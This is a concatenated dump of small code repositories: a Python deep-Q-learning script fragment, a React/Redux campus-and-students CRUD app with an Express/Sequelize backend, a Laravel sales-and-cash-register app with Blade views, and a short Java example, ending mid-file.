binary_embedded_test.append(embedded_test[i])
m = (np.argmax(test_labels[i]) // 2) + 1
binary_test_labels.append(m)
padded_embedded_test = []
for i in np.arange(len(binary_embedded_test)):
padded_embedded_sentence = np.zeros((dqn.max_len, dqn.input_dim))
padded_label = np.zeros((dqn.max_len, dqn.output_dim))
for j in np.arange(len(binary_embedded_test[i])):
padded_embedded_sentence[j, :] = binary_embedded_test[i][j]
padded_embedded_test.append(padded_embedded_sentence)
for i in np.arange(1000):
for embededed_sentence,target in zip(embedded_train,binary_train_labels):
dqn.learning_loop(embededed_sentence,target)
targets = dqn.QModel.predict(np.asarray(padded_embedded_test),batch_size=1)
targets = np.argmax(targets[:,-1,:],axis=1)
accuracy = sum(x == 0 for x in (targets - binary_train_labels)) / len(targets)
print(accuracy)
|
9e5a0a79c6b2e49948dc0cac86984216eeb1e8d9
|
[
"Python"
] | 1 |
Python
|
samiraabnar/DeepQLearning
|
62a4de69abefc6d02aa89652d0fe953eb14fb31b
|
97fba3390cbf1ff7ab21e08b8e83607adfdd892c
|
refs/heads/master
|
<file_sep># Angular-Reactive-Forms
|
a4146d489be93cf0a4c444180de3711d2ad4cf85
|
[
"Markdown"
] | 1 |
Markdown
|
Saravanasakthivel/Angular-Reactive-Forms
|
ddf52fda907419f8c9f4a441d0039674da3e6725
|
8ab3f323eedd031d955a362fef366fb3962aa8b1
|
refs/heads/master
|
<file_sep>import React from 'react';
import { Link } from 'react-router-dom';
// This component is the Navbar, containing links to our Routes
export default function Nav () {
return (
<nav id='navMain'>
<Link to='/'>
Home
</Link>
<Link to='/campuses'>
Campuses
</Link>
<Link to='/students'>
Students
</Link>
</nav>
)
}<file_sep>import React from 'react'
import {render} from 'react-dom'
import {Provider} from 'react-redux'
import store from './store'
import Routes from './components/Routes'
// Ties our components to the redux store
render(
<Provider store={ store }>
<Routes/>
</Provider>,
// Connects to existing div element on page
document.getElementById('main')
)
<file_sep>import React from 'react';
import { Component } from 'react';
import { Link } from 'react-router-dom';
import { connect } from 'react-redux';
import { fetchCampus } from '../reducers/campus';
// Message displayed when no students are found
const noStudentsMessage = `
Unfortunately, this institution does not have any students. Apply today, and you could be their first!
`
// This stateful component displays a single campus
class SingleCampus extends Component {
componentDidMount() {
// Fetch data of selected campus
this.props.init(this.props.match.params.id)
}
render () {
// Grab campus data initialized on mount
const { campus } = this.props
// Render is executed first, this block allows componentDidMount to fetch the necessary data before we render
if (!campus.name) {
return null
}
return (
<div className='singleCampus'>
<h1>{ campus.name }</h1>
<img src={ window.location.origin + '/' + campus.imageUrl }/>
<h2>{ campus.address }</h2>
<p>{ campus.description }</p>
<h2>{ campus.students.length > 0 ? 'Students' : noStudentsMessage }</h2>
{ campus.students.length > 0 ?
campus.students.map(student => {
return (
<Link key={ student.id }to={'/students/' + student.id}>{ student.firstName } { student.lastName }</Link>
)
}) : null
}
</div>
)
}
}
const mapStateToProps = (state) => ({ campus: state.campuses.selectedCampus })
const mapDispatchToProps = (dispatch) => ({
init: (id) => dispatch(fetchCampus(id))
})
export default connect(mapStateToProps, mapDispatchToProps)(SingleCampus);<file_sep>* {
box-sizing: border-box;
font-family: arial, sans-serif;
}
body {
background-color: lightgray;
padding: 0;
margin: 0;
min-height: 100%;
}
nav {
align-items: center;
background-color: black;
color: #c0c0c0;
display: flex;
height: 80px;
padding: 10px;
}
main {
align-items: center;
display: flex;
flex-direction: column;
justify-content: center;
}
h1 {
text-align: center;
}
p {
width: 50%;
text-align: center;
}
li {
list-style-type: none;
}
ul.campus {
display: flex;
align-items: center;
flex-direction: column;
margin: 0 0 0;
padding: 0 0 0 0;
}
ul.student {
display: flex;
justify-content: space-between;
flex-direction: row;
flex-wrap: wrap;
background-color: white;
border: 3px solid black;
border-radius: 10px;
margin: 1% 10% 0 10%;
padding: 1% 0 0 0;
}
h3 {
color: white;
background-color: black;
padding: 2px;
text-align: center;
width: 30%;
}
#navMain {
display: flex;
justify-content: space-between;
padding-left: 5%;
padding-right: 5%;
}
#navMain > a {
text-decoration: none;
color: white;
background-color: dodgerblue;
border-radius: 25px;
padding: 2%;
}
#navMain > a:hover {
color: dodgerblue;
background-color: white;
}
button.create {
background-color: dodgerblue;
color: white;
margin-top: 5px;
border-radius: 15px;
border: 0;
padding: 5% 0 5% 0;
}
button.create:hover {
color: dodgerblue;
background-color: white;
}
button.delete {
background-color: #f44336;
color: white;
width: 25px;
height: 25px;
border-radius: 100px;
border: 0;
margin-left: 3%;
}
button.delete:hover {
background-color: white;
color: #f44336;
border: 1px solid #f44336
}
li.campus {
display: flex;
width: 60%;
justify-content: space-between;
align-items: center;
background-color: white;
border: 2px solid dodgerblue;
margin: 5px 0 5px 0;
}
li.student {
display: flex;
justify-content: space-evenly;
align-items: center;
width: 30%;
margin: 0 1% 1% 1%;
padding: 1%;
background-color: dodgerblue;
border-radius: 15px;
}
img.campus {
float: left;
width: 100px;
height: 100px;
object-fit: cover;
}
div.form {
display: flex;
align-items: center;
flex-direction: column;
}
form {
display: flex;
width: 25%;
justify-content: center;
flex-direction: column;
}
a.campus {
width: 70%;
text-align: center;
word-wrap: break-word;
text-decoration: none;
color: black;
font-size: 18px;
border-radius: 20px;
padding: 5px;
}
a.campus:hover {
color: dodgerblue;
}
a.student {
text-decoration: none;
color: black;
}
a.student:hover {
color: white;
}
div.allHeader {
display: flex;
justify-content: center;
}
div.singleCampus {
display: flex;
align-items: center;
flex-direction: column;
}
.singleCampus > img {
width: 300px;
height: 300px;
object-fit: cover;
}
.singleCampus > a {
text-decoration: none;
border-radius: 20px;
background-color: dodgerblue;
color: white;
padding: 1%;
}
.singleCampus > a:hover {
background-color: white;
color: dodgerblue;
}
div.singleStudent {
display: flex;
align-items: center;
flex-direction: column;
}
.singleStudent > a {
text-decoration: none;
border-radius: 20px;
background-color: dodgerblue;
color: white;
padding: 1%;
}
.singleStudent > a:hover {
background-color: white;
color: dodgerblue;
}
<file_sep>import React from 'react';
import { Component } from 'react';
import { connect } from 'react-redux';
import { withRouter } from 'react-router';
import { createCampus } from '../reducers/campus';
// Displays a form to create a new campus, adding it to state after creation
class CreateCampus extends Component {
constructor () {
super()
this.state = {
name: '',
address: '',
imageUrl: undefined,
description: undefined
}
// Bind handlers to the component
this.handleSubmit = this.handleSubmit.bind(this)
this.handleChange = this.handleChange.bind(this)
}
// On submit, call the creation thunk and navigate the user to the all campuses page
async handleSubmit (event) {
event.preventDefault()
await this.props.createCampus({ ...this.state })
this.props.history.push('/campuses')
}
// On change, update this component's local state
handleChange (event) {
this.setState({ [event.target.name]: event.target.value })
}
render () {
// Pull out handlers and local state data
const { handleChange, handleSubmit } = this;
const { name, address, imageUrl, description } = this.state;
return (
<div className='form'>
<h3> Create New Campus </h3>
<form onSubmit={ handleSubmit }>
<label> Name </label>
<input name='name' onChange={ handleChange } value={ name }></input>
<label> Address </label>
<input name='address' onChange={ handleChange } value={ address }></input>
<label> Image URL (Optional) </label>
<input name='imageUrl' onChange={ handleChange } value={ imageUrl }></input>
<label> Description (Optional) </label>
<input name='description' onChange={ handleChange } value={ description }></input>
<button className='create' type='submit'> Create </button>
</form>
</div>
)
}
}
const mapStateToProps = (state) => state
const mapDispatchToProps = (dispatch) => ({
createCampus: (campus) => dispatch(createCampus(campus))
})
export default withRouter(connect(mapStateToProps, mapDispatchToProps)(CreateCampus))<file_sep>const db = require('./database')
const { STRING, TEXT, DECIMAL } = require('sequelize')
/*
------
| Campus |
------
type: SQL Model object
values:
name: String representation of campus name
imageUrl: URL of main campus image
address: String representation of campus address
description: String representation of brief campus descripton
*/
const Campus = db.define('campus', {
name: {
type: STRING,
notEmpty: true,
notNull: true
},
imageUrl: {
type: STRING,
isUrl: true,
defaultValue: 'default_campus.png'
},
address: {
type: STRING,
notEmpty: true,
notNull: true
},
description: {
type: TEXT,
defaultValue: 'No description provided'
}
})
/*
------
| Student |
------
type: SQL Model object
values:
firstName: String representation of student's first name
lastName: String representation of student's last name
email: String representation of student's email
imageUrl: URL of student profile image
gpa: Single decimal numerical representation of student's GPA, between 0.0 and 4.0
*/
const Student = db.define('student', {
firstName: {
type: STRING,
notEmpty: true,
notNull: true
},
lastName: {
type: STRING,
notEmpty: true,
notNull: true
},
email: {
type: STRING,
isEmail: true,
notEmpty: true,
notNull: true
},
imageUrl: {
type: STRING,
isUrl: true,
defaultValue: 'default_student.jpg'
},
gpa: {
type: DECIMAL(10, 1),
range: [0.0, 4.0],
notEmpty: true,
notNull: true
}
})
// Export models
module.exports = { models: {
Campus,
Student
}}
<file_sep>import studentReducer from './student'
import campusReducer from './campus'
import {combineReducers} from 'redux'
// Combines our reducers into one parent reducer
const rootReducer = combineReducers({
students: studentReducer,
campuses: campusReducer
})
export default rootReducer
<file_sep>'use strict'
const { models: { Student, Campus } } = require('../db/models')
const router = require('express').Router()
// Set up students route
router.get('/', async(req, res, next) => {
try {
const students = await Student.findAll({
include: [ Campus ]
})
res.send(students)
}
catch(ex) {
next(ex)
}
})
// Set up single student route
router.get('/:id', async(req, res, next) => {
try {
const student = await Student.findByPk(req.params.id, { include: { model: Campus }})
res.send(student)
}
catch(ex) {
next(ex)
}
})
// Set up add student route
router.post('/', async(req, res, next) => {
try {
const student = await Student.create(req.body)
res.status(201).send(student)
}
catch(ex) {
next(ex)
}
})
// Set up delete student route
router.delete('/:id', async(req, res, next) => {
try {
const student = await Student.findByPk(req.params.id)
await student.destroy()
res.send(student)
}
catch(ex) {
next(ex)
}
})
module.exports = router;<file_sep>import React from 'react';
import { Component } from 'react';
import { connect } from 'react-redux';
import { withRouter } from 'react-router';
import { createStudent } from '../reducers/student';
// Displays a form to create a new student, adding it to state after creation
class CreateStudent extends Component {
constructor () {
super()
this.state = {
firstName: '',
lastName: '',
email: '',
imageUrl: undefined,
gpa: ''
}
// Bind handlers to the component
this.handleSubmit = this.handleSubmit.bind(this)
this.handleChange = this.handleChange.bind(this)
}
// On submit, call the creation thunk and navigate the user to the all students page
async handleSubmit (event) {
event.preventDefault()
await this.props.createStudent({ ...this.state })
this.props.history.push('/students')
}
// On change, update this component's local state
handleChange (event) {
this.setState({ [event.target.name]: event.target.value })
}
render () {
// Pull out handlers and local state data
const { handleChange, handleSubmit } = this;
const { firstName, lastName, email, imageUrl, gpa } = this.state;
return (
<div className='form'>
<h3> Create New Student </h3>
<form onSubmit={ handleSubmit }>
<label> First Name </label>
<input name='firstName' onChange={ handleChange } value={ firstName }></input>
<label> Last Name </label>
<input name='lastName' onChange={ handleChange } value={ lastName }></input>
<label> Email </label>
<input name='email' onChange={ handleChange } value={ email }></input>
<label> Image URL (Optional) </label>
<input name='imageUrl' onChange={ handleChange } value={ imageUrl }></input>
<label> GPA </label>
<input name='gpa' onChange={ handleChange } value={ gpa }></input>
<button className='create' type='submit'> Create </button>
</form>
</div>
)
}
}
const mapStateToProps = (state) => state
const mapDispatchToProps = (dispatch) => ({
createStudent: (student) => dispatch(createStudent(student))
})
export default withRouter(connect(mapStateToProps, mapDispatchToProps)(CreateStudent))<file_sep>const {db} = require('./server/db')
const {green, red} = require('chalk')
const { models: { Campus, Student }} = require('./server/db/models')
const seed = async () => {
await db.sync({force: true})
// Create dummy student data
const students = [
{ firstName: 'Donald',
lastName: 'Glover',
email: '<EMAIL>',
imageUrl: 'donald_glover.jpg',
gpa: 4.0,
campusId: 1
},
{ firstName: 'Jonathan',
lastName: 'Fricks',
email: '<EMAIL>',
gpa: 2.5,
campusId: 2
},
{
firstName: 'Vinnie',
lastName: 'Paz',
email: '<EMAIL>',
imageUrl: 'vinnie_paz.jpeg',
gpa: 3.5,
campusId: 3
}
]
// Create dummy campus data
const campuses = [
{
name: "Jone's BBQ and Foot Massage and Community College",
address: '1207 E Mason St, Green Bay, WI 54301'
},
{
name: "New York University",
imageUrl: 'new_york_university.jpeg',
address: 'New York, NY 10003',
description: `New York University is a private research university based in New York City. Founded in 1831 by Albert Gallatin as an institution to "admit based upon merit rather than birthright or social class", NYU's historical campus is in Greenwich Village.`
},
{
name: "Community College of Philadelphia",
imageUrl: 'community_college_of_philadelphia.jpeg',
address: '1700 Spring Garden St, Philadelphia, PA 19130',
description: `The Community College of Philadelphia is a public, open-admission institution that provides both academic resources and support services to help students achieve their academic goals. As the largest public institution of higher education in Philadelphia, the College has served more than 685,000 of the city's residents since 1965.`
}
]
// Seed database with dummy data
await Promise.all(campuses.map(campus => Campus.create({
name: campus.name,
imageUrl: campus.imageUrl,
address: campus.address,
description: campus.description
})
))
await Promise.all(students.map(student => Student.create({
firstName: student.firstName,
lastName: student.lastName,
email: student.email,
imageUrl: student.imageUrl,
gpa: student.gpa,
campusId: student.campusId ? student.campusId : null
})
))
console.log(green('Seeding success!'))
db.close()
}
seed()
.catch(err => {
console.error(red('Oh noes! Something went wrong!'))
console.error(err)
db.close()
})
<file_sep>import axios from 'axios';
// Initial State
const initialState = {
campuses: [],
selectedCampus: {}
}
// Constants
const SET_CAMPUSES = 'SET_CAMPUSES';
const SET_SELECTED_CAMPUS = 'SET_SELECTED_CAMPUS';
const UPDATE = 'UPDATE'
// Action Creators
// Initializes campuses
export const setCampuses = (campuses) => {
return {
type: SET_CAMPUSES,
campuses
}
};
// Updates selected campus in state
export const setCampus = (selectedCampus) => {
return {
type: SET_SELECTED_CAMPUS,
selectedCampus
}
};
// Updates state with new campus
export const updateCampuses = (campus) => {
return {
type: UPDATE,
campus
}
}
//Thunk Creators
// Fetches campus data
export const fetchCampuses = () => {
return async(dispatch) => {
const campuses = (await axios.get('/api/campuses')).data
dispatch(setCampuses(campuses))
}
};
// Fetches single campus data
export const fetchCampus = (id) => {
return async(dispatch) => {
const campus = (await axios.get(`/api/campuses/${ id }`)).data
dispatch(setCampus(campus))
}
};
// Creates new campus
export const createCampus = (newCampus) => {
return async(dispatch) => {
const campus = (await axios.post(`/api/campuses`, newCampus)).data
dispatch(updateCampuses(campus))
}
}
// Deletes campus
export const deleteCampus = (id) => {
return async () => {
await axios.delete(`/api/campuses/${ id }`)
fetchCampuses();
}
}
// Reducer
export default function campusReducer (state=initialState, action) {
switch (action.type) {
case SET_CAMPUSES:
return { ...state, campuses: action.campuses }
case SET_SELECTED_CAMPUS:
return { ...state, selectedCampus: action.selectedCampus }
case UPDATE:
return { ...state, campuses: [ ...state.campuses, action.campus ]}
default:
return state
}
}
<file_sep>'use strict'
const db = require('./database')
const { models: { Campus, Student } } = require('./models')
// Sets up relationship between Campus and Student Models:
// Campuses may contain many students
Student.belongsTo(Campus)
Campus.hasMany(Student)
// Export database and models
module.exports = {
db,
models: {
Campus,
Student
}
}
<file_sep>import axios from 'axios';
// Initial State
const initialState = {
students: [],
selectedStudent: {}
}
// Constants
const SET_STUDENTS = 'SET_STUDENTS';
const SET_SELECTED_STUDENT = 'SET_SELECTED_STUDENT';
const UPDATE = 'UPDATE'
// Action Creators
// Initializes students
export const setStudents = (students) => {
return {
type: SET_STUDENTS,
students
}
};
// Updates selected student in state
export const setStudent = (selectedStudent) => {
return {
type: SET_SELECTED_STUDENT,
selectedStudent
}
};
// Updates state with new student
export const updateStudents = (student) => {
return {
type: UPDATE,
student
}
}
// Thunk Creators
// Fetches student data
export const fetchStudents = () => {
return async(dispatch) => {
const students = (await axios.get('/api/students')).data
dispatch(setStudents(students))
}
};
// Fetches single student data
export const fetchStudent = (id) => {
return async(dispatch) => {
const student = (await axios.get(`/api/students/${ id }`)).data
dispatch(setStudent(student))
}
};
// Creates new student
export const createStudent = (newStudent) => {
return async(dispatch) => {
const student = (await axios.post(`/api/students`, newStudent)).data
dispatch(updateStudents(student))
}
}
// Deletes student
export const deleteStudent = (id) => {
return async () => {
await axios.delete(`/api/students/${ id }`)
fetchStudents();
}
}
// Reducer
export default (state=initialState, action) => {
switch (action.type) {
case SET_STUDENTS:
return { ...state, students: action.students }
case SET_SELECTED_STUDENT:
return { ...state, selectedStudent: action.selectedStudent }
case UPDATE:
return { ...state, students: [ ...state.students, action.student ]}
default:
return state
}
}
|
06c275197ece1904287b4448f40b5391b081c951
|
[
"JavaScript",
"CSS"
] | 13 |
JavaScript
|
kestrelgorlick/JPFP-REDO
|
1701034b23e83c68bc7b30ec3e09ca092240bcd4
|
62731ff981c678e362bea9e82fadf17342e667ad
|
refs/heads/master
|
<repo_name>TechfinderESGI/techfinder<file_sep>/test.php
<?php
for($i=0; $i<=10; $i++) {
echo $i; //Ca affiche la variable i BRUH
}
//je suis magique
//god this is beautiful
//Rawr
echo("(_)///////////|-)");
echo("(_)///////////////|-)");
|
f50a3813be5cd9300011a0b4e2d554be6f4f62d6
|
[
"PHP"
] | 1 |
PHP
|
TechfinderESGI/techfinder
|
a332ac1365ac8a64a36119caa687b3ace8c1143f
|
95bce961500bb733dd242b5e0f4f381f917b64ca
|
refs/heads/master
|
<file_sep>display(type)
if type == 'inline-block'
display: inline-block;
*display: inline;
zoom: 1;
else
display: type;
<file_sep># -
由html5+js实现的图像处理工具
|
71bb90c94c899da9cc6469151b67ff3b84ac0b55
|
[
"Stylus",
"Markdown"
] | 2 |
Stylus
|
yeyuehun/-
|
ece967bd0abf5e8b5eb24f33266a8fde5caf869b
|
1115398b13933e4bf9ac2143176184f83dd21ff6
|
refs/heads/master
|
<repo_name>LandgrafHomyak/ForHamster<file_sep>/src/main/java/Interface.java
public interface Interface {
void getMyName();
}
<file_sep>/src/main/java/MyClass.java
public class MyClass {
public static void main(String[] args) {
Parent pretest = new Child() ;
Test pretest = new Test();
pretest.getMyName();
test.getMyName();
test.DoSmth(pretest);
}
}
|
c879230cfaccc215f77872b8750d2330c0d3e4a2
|
[
"Java"
] | 2 |
Java
|
LandgrafHomyak/ForHamster
|
1cf2caf84a2dc57d8986be26e9909f0016a34d94
|
7769395cea6b981525fcd6c5c52e5abb5b59328b
|
refs/heads/master
|
<file_sep>AdvancedTableViewCells
======================
Demonstrates several different ways to handle complex UITableViewCells.
IndividualSubviewsBasedApplicationCell is a cell designed in Interface Builder to display the contents of a cell using individual subviews (image views, labels, etc.)
CompositeSubviewBasedApplicationCell is a cell that uses a custom view to draw all of the components of the cell.
HybridSubviewBasedApplicationCell is a cell that uses a custom view to draw most of the components of the cell while using separate views to handle components that need to animate separately from the rest of the content.
Build Requirements
------------------
iOS 4.2 SDK
Runtime Requirements
--------------------
iOS 3.2 SDK or later
Using the Sample
----------------asdfasdfasfafd
|
ee873c7214d1d3018113eed1978c440c3c5a674a
|
[
"Text"
] | 1 |
Text
|
japhethdleung/BrainPortfolio
|
2bd3a6931e0b29a44c9c9f5831f54e2b2959c7ec
|
b26e1322db38207fd58ef525c8d65b21f588f789
|
refs/heads/master
|
<file_sep>//
// DemoViewController.m
// BrickView Example
//
// Created by <NAME> on 13/04/17.
// Copyright (c) 2013年 <NAME>. All rights reserved.
//
#import "DemoViewController.h"
#import "BrickView.h"
@interface DemoBrickViewCell : BrickViewCell
@property (nonatomic, readonly) UILabel *textLabel;
@property (nonatomic, readonly) UILabel *detailLabel;
@end
@implementation DemoBrickViewCell
- (id)initWithReuseIdentifier:(NSString *)reuseIdentifier
{
self = [super initWithReuseIdentifier:reuseIdentifier];
if (self) {
_textLabel = [[UILabel alloc] init];
self.textLabel.textAlignment = NSTextAlignmentCenter;
[self addSubview:self.textLabel];
_detailLabel = [[UILabel alloc] init];
self.detailLabel.textAlignment = NSTextAlignmentCenter;
[self addSubview:self.detailLabel];
}
return self;
}
- (void)layoutSubviews
{
[super layoutSubviews];
if (![self.detailLabel.text length]) {
self.textLabel.frame = (CGRect) {
.origin.x = 0.,
.origin.y = 0.,
.size.width = CGRectGetWidth(self.frame),
.size.height = CGRectGetHeight(self.frame)
};
} else {
self.textLabel.frame = (CGRect) {
.origin.x = 0.,
.origin.y = 0.,
.size.width = CGRectGetWidth(self.frame),
.size.height = CGRectGetHeight(self.frame) - 30,
};
self.detailLabel.frame = (CGRect) {
.origin.x = 0.,
.origin.y = CGRectGetMaxY(self.textLabel.frame) + 5,
.size.width = CGRectGetWidth(self.frame),
.size.height = 15,
};
}
}
@end
@interface DemoViewController () <BrickViewDataSource, BrickViewDelegate>
@property (nonatomic, strong) BrickView *brickView;
@property (nonatomic, strong) NSMutableArray *list;
@end
@implementation DemoViewController
- (void)viewDidLoad
{
[super viewDidLoad];
self.brickView = [[BrickView alloc]initWithFrame:self.view.bounds];
self.list = @[@"a",@"b",@"c",@"d",@"e",@"f",@"g",@"h",@"i",@"j",@"k",@"l",@"m",
@"n",@"o",@"p",@"q",@"r",@"s",@"t",@"u",@"v",@"w",@"x",@"y",@"z"].mutableCopy;
self.brickView.padding = 10.;
UILabel *headerLabel = [[UILabel alloc]initWithFrame:CGRectMake(0, 0, CGRectGetWidth(self.view.bounds), 50)];
headerLabel.text = @"HEADER";
headerLabel.textAlignment = NSTextAlignmentCenter;
self.brickView.headerView = headerLabel;
UILabel *footerLabel = [[UILabel alloc]initWithFrame:CGRectMake(0, 0, CGRectGetWidth(self.view.bounds), 50)];
footerLabel.text = @"FOOTER";
footerLabel.textAlignment = NSTextAlignmentCenter;
self.brickView.footerView = footerLabel;
[self.view addSubview:self.brickView];
self.brickView.dataSource = self;
self.brickView.delegate = self;
}
#pragma mark - accessor
- (CGFloat)brickView:(BrickView *)brickView heightForCellAtIndex:(NSInteger)index
{
CGFloat height = 0.f;
switch (index%3) {
case 0: {
height = 100.f;
}
break;
case 1: {
height = 50.f;
}
break;
case 2: {
height = 70.f;
}
break;
}
return height;
}
- (NSInteger)numberOfColumnsInBrickView:(BrickView *)brickView
{
return 3;
}
- (NSInteger)numberOfCellsInBrickView:(BrickView *)brickView
{
return [self.list count];
}
- (BrickViewCell *)brickView:(BrickView *)brickView cellAtIndex:(NSInteger)index
{
static NSString *CellIdentifier = @"Cell";
DemoBrickViewCell *cell = [brickView dequeueReusableCellWithIdentifier:CellIdentifier];
if(!cell) {
cell = [[DemoBrickViewCell alloc] initWithReuseIdentifier:CellIdentifier];
}
cell.textLabel.text = [NSString stringWithFormat:@"%d:%@",
index,
self.list[index]];
switch (index%3) {
case 0: {
cell.backgroundColor = [UIColor grayColor];
cell.detailLabel.text = @"detail";
}
break;
case 1: {
cell.backgroundColor = [UIColor blueColor];
cell.detailLabel.text = nil;
}
break;
case 2: {
cell.backgroundColor = [UIColor purpleColor];
cell.detailLabel.text = nil;
}
break;
}
return cell;
}
#pragma mark -
- (void)brickView:(BrickView *)brickView didSelectCell:(BrickViewCell *)cell AtIndex:(NSInteger)index
{
NSLog(@"did select index %d", index);
}
- (void)brickView:(BrickView *)brickView didLongPressCell:(BrickViewCell *)cell AtIndex:(NSInteger)index
{
NSLog(@"did long-press index %d", index);
[self.list removeObjectAtIndex:index];
[brickView reloadData];
}
- (void)scrollViewDidScroll:(UIScrollView *)scrollView
{
CGFloat bottomEdge = scrollView.contentOffset.y + CGRectGetHeight(scrollView.frame);
if (bottomEdge >= floor(scrollView.contentSize.height)) {
[self.list addObjectsFromArray:@[@"a",@"b",@"c",@"d",@"e",@"f",@"g",@"h",@"i",@"j",@"k",@"l",@"m",
@"n",@"o",@"p",@"q",@"r",@"s",@"t",@"u",@"v",@"w",@"x",@"y",@"z"]];
[self.brickView updateData];
}
}
- (void)scrollViewDidEndDragging:(UIScrollView *)scrollView willDecelerate:(BOOL)decelerate
{
NSLog(@"end dragging");
}
@end
|
3b42ca62fca3008b225dd0edebf09811722bce31
|
[
"Objective-C"
] | 1 |
Objective-C
|
groovelab/BrickView
|
4a781fd5238cdc7f35cb28e7a16f3f1dc88f4888
|
b095d8a3225312d1509d896e0ea0c9d002475936
|
refs/heads/main
|
<file_sep><?php
namespace zitaraventas\Http\Requests;
use zitaraventas\Http\Requests\Request;
class ArticuloFormRequest extends Request
{
public function authorize()
{
return true;
}
public function rules()
{
return [
'idcategoria'=>'required',
'codigo'=>'required|max:50',
'descripcion'=>'max:512',
];
}
}
<file_sep>@extends ('layouts.admin')
@section ('contenido')
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">
<h3>Cerrar Caja: </h3>
@if (count($errors)>0)
<div class="alert alert-danger">
<ul>
@foreach ($errors->all() as $error)
<li>{{$error}}</li>
@endforeach
</ul>
</div>
@endif
</div>
</div>
{!!Form::model($cajas,['method'=>'POST','route'=>['caja.update',$cajas->id]])!!}
{!! method_field('PUT') !!}
{{Form::token()}}
<div class="row">
<?php
foreach ($totales as $total)
{
?>
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="montoinicial">Monto inicial</label>
<input type="text" name="monto_inicial" value="{{$cajas->monto_inicial}}" class="form-control">
</div>
</div>
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="cuentas">Cuentas</label>
<input type="text" name="cuentas" value="<?php echo $total->totalsena ;?>" class="form-control">
</div>
</div>
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="cuotas">Cuotas</label>
<input type="text" name="cuotas" value="<?php echo $total->totalcuota;?>"" class="form-control">
</div>
</div>
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="tarjetas">Tarjetas</label>
<input type="text" name="tarjetas" value="<?php echo $total->totaltarjeta;?>" class="form-control">
</div>
</div>
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="ventaefectivo">Venta Efectivo</label>
<input type="text" name="venta_efectivo" value="<?php echo $total->totalventa;?>" class="form-control">
</div>
</div>
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="salida">Salidas</label>
<input type="text" name="salidas" value="<?php echo $total->totalsalida;?>" class="form-control">
</div>
</div>
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="montofinal">Monto en caja</label>
<input type="text" name="monto_final" value="<?php echo $total->totalventa + $total->totalsena + $total->totalcuota - $total->totalsalida + $cajas->monto_inicial;?>" class="form-control">
</div>
</div>
<input type="hidden" name="estado" value="Cerrada" class="form-control">
<?php }?>
</div>
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12">
<div class="form-group">
<button class="btn btn-primary" type="submit">Guardar</button>
<button class="btn btn-danger" type="reset">Cancelar</button>
</div>
</div>
</div>
{!!Form::close()!!}
@push ('scripts')
<script>
$('#liAlmacen').addClass("treeview active");
$('#liArticulos').addClass("active");
</script>
@endpush
@endsection<file_sep><?php
/*
|--------------------------------------------------------------------------
| Application Routes
|--------------------------------------------------------------------------
|
| Here is where you can register all of the routes for an application.
| It's a breeze. Simply tell Laravel the URIs it should respond to
| and give it the controller to call when that URI is requested.
|
*/
Route::get('/', function () {
return view('auth/login');
});
Route::get('/acerca', function () {
return view('acerca');
});
Route::resource('almacen/categoria','CategoriaController');
Route::resource('almacen/articulo','ArticuloController');
Route::resource('ventas/cliente','ClienteController');
Route::resource('compras/proveedor','ProveedorController');
Route::resource('compras/ingreso','IngresoController');
Route::resource('ventas/venta','VentaController');
Route::resource('seguridad/usuario','UsuarioController');
Route::resource('seguridad/backup','BackupController');
Route::resource('salida','SalidaController');
Route::auth();
Route::get('/home', 'HomeController@index');
Route::get('caja/resumen', 'ResumenCajaController@resumen');
Route::get('caja/cierre', 'ResumenCajaController@index');
Route::get('caja/create', 'ResumenCajaController@create');
Route::post('caja/create', 'ResumenCajaController@store');
Route::get('caja/edit/{id}',['as' => 'caja.edit', 'uses'=>'ResumenCajaController@edit']);
Route::put('caja/{id}', ['as' => 'caja.update', 'uses' => 'ResumenCajaController@update']);
// Route::put('caja/edit', 'ResumenCajaController@update');
//Route::get('herramientas/backup', 'BackupController@index');
Route::get('imprimir', 'VentaController@imprimir');
Route::get('estado', 'EstadoController@vistaestado');
//Reportes
Route::get('reportecategorias', 'CategoriaController@reporte');
Route::get('reportearticulos', 'ArticuloController@reporte');
Route::get('reporteclientes', 'ClienteController@reporte');
Route::get('reportecliente/{id}', 'ClienteController@report');
Route::get('reporteproveedores', 'ProveedorController@reporte');
Route::get('reporteventas/{searchText}', 'VentaController@reporte');
Route::get('reporteventa/{id}', 'VentaController@reportec');
Route::get('reportecajas/{searchText}', 'ResumenCajaController@reporte');
Route::get('reportecaja/{id}', 'ResumenCajaController@reportec');
Route::get('reportesalida/{id}', 'SalidaController@reportec');
Route::get('reporteingresos', 'IngresoController@reporte');
Route::get('reporteingreso/{id}', 'IngresoController@reportec');
Route::get('reportecuentas/{cliente?}/{credito?}', 'EstadoController@reporte');
Route::get('/{slug?}', 'HomeController@index');
<file_sep><?php
namespace zitaraventas\Console;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
use Backup;
class Kernel extends ConsoleKernel
{
/**
* The Artisan commands provided by your application.
*
* @var array
*/
protected $commands = [
\zitaraventas\Console\Commands\Inspire::class,
\zitaraventas\Console\Commands\databaseBackup::class,
];
/**
* Define the application's command schedule.
*
* @param \Illuminate\Console\Scheduling\Schedule $schedule
* @return void
*/
protected function schedule(Schedule $schedule)
{
//$schedule->command('Inspire')->everyFiveMinutes();
$schedule->command('backup:database')->everyFiveMinutes();
}
}
<file_sep>@extends ('layouts.admin')
@section ('contenido')
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">
<h3>Nueva Salida</h3>
@if (count($errors)>0)
<div class="alert alert-danger">
<ul>
@foreach ($errors->all() as $error)
<li>{{$error}}</li>
@endforeach
</ul>
</div>
@endif
</div>
</div>
{!!Form::open(array('url'=>'/salida','method'=>'POST','autocomplete'=>'off','files'=>'true'))!!}
{{Form::token()}}
<div class="row">
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="monto">Monto</label>
